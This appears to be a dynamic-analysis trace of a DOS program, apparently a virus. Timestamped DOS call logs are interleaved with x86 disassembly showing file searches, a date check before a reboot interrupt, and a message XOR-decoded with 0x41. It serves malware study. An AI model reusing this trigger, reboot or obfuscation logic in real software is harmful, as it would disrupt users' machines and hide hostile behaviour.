0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
0x12c6b: nop
0x12c6c: and byte ptr [bp + si + 0x75], al
0x12c6f: jb 0x12cdf
0x12c71: inc bx
0x12c72: jns 0x12cd7
0x12c74: insb byte ptr es:[di], dx
2018-12-17T22:59:11.093224085Z 78 PC: 12cc0 | Find first file
2018-12-17T22:59:11.100044894Z 59 PC: 12d28 | Change current directory
2018-12-17T22:59:11.105842209Z 42 PC: 12d30 | Get date 0x12d30: cmp dh, 0x11
0x12d33: jl 0x12d54
0x12d35: cmp dl, 8
0x12d38: jl 0x12d54
0x12d3a: mov ah, 0x19
0x12d3c: int 0x21
0x12d3e: mov cx, 0x25
0x12d41: mov dx, 0
0x12d44: lea bx, word ptr [bp + 0x16c]
0x12d48: push ds
0x12d49: pop es
0x12d4a: mov byte ptr [bp + 0x250], 0x26
0x12d4f: int 0x19
0x12d51: add sp, 2
0x12d54: mov ah, 0x1a
0x12d56: mov dx, 0x80
0x12d59: int 0x21
0x12d5b: call 0x12d5e
0x12d5e: call 0x12d61
0x12d61: call 0x12d64
2018-12-17T22:59:11.108650477Z 26 PC: 12d5b | Set disk transfer address
2018-12-17T22:59:11.11040776Z 9 PC: 12d7b | Display string (String= ' �pZp�5p��CON Gp��!AUX Yp���PRN kp��9CLOCK')
2018-12-17T22:59:11.128963935Z 26 PC: 12c1d | Set disk transfer address
2018-12-17T22:59:11.130277855Z 53 PC: 12c23 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:59:11.131464214Z 53 PC: 12c30 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:59:11.132606751Z 44 PC: 12c3b | Get time 0x12c3b: cmp dl, 0xd
0x12c3e: jg 0x12c44
0x12c40: mov al, 0x82
0x12c42: out 0x21, al
0x12c44: mov ah, 0x2c
0x12c46: int 0x21
0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
2018-12-17T22:59:11.136997774Z 44 PC: 12c48 | Get time 0x12c48: cmp dl, 0x32
0x12c4b: jg 0x12ca7
0x12c4d: mov si, 0
0x12c50: xor byte ptr [bp + si + 0x16c], 0x41
0x12c55: cmp si, 0x11
0x12c58: je 0x12c5d
0x12c5a: inc si
0x12c5b: jmp 0x12c50
0x12c5d: mov ah, 9
0x12c5f: lea dx, word ptr [bp + 0x16c]
0x12c63: int 0x21
0x12c65: mov ah, 0
0x12c67: int 0x16
0x12c69: jmp 0x12ca7
0x12c6b: nop
0x12c6c: and byte ptr [bp + si + 0x75], al
0x12c6f: jb 0x12cdf
0x12c71: inc bx
0x12c72: jns 0x12cd7
0x12c74: insb byte ptr es:[di], dx
2018-12-17T22:59:11.13965047Z 9 PC: 12c65 | Display string (Could not find end pointer)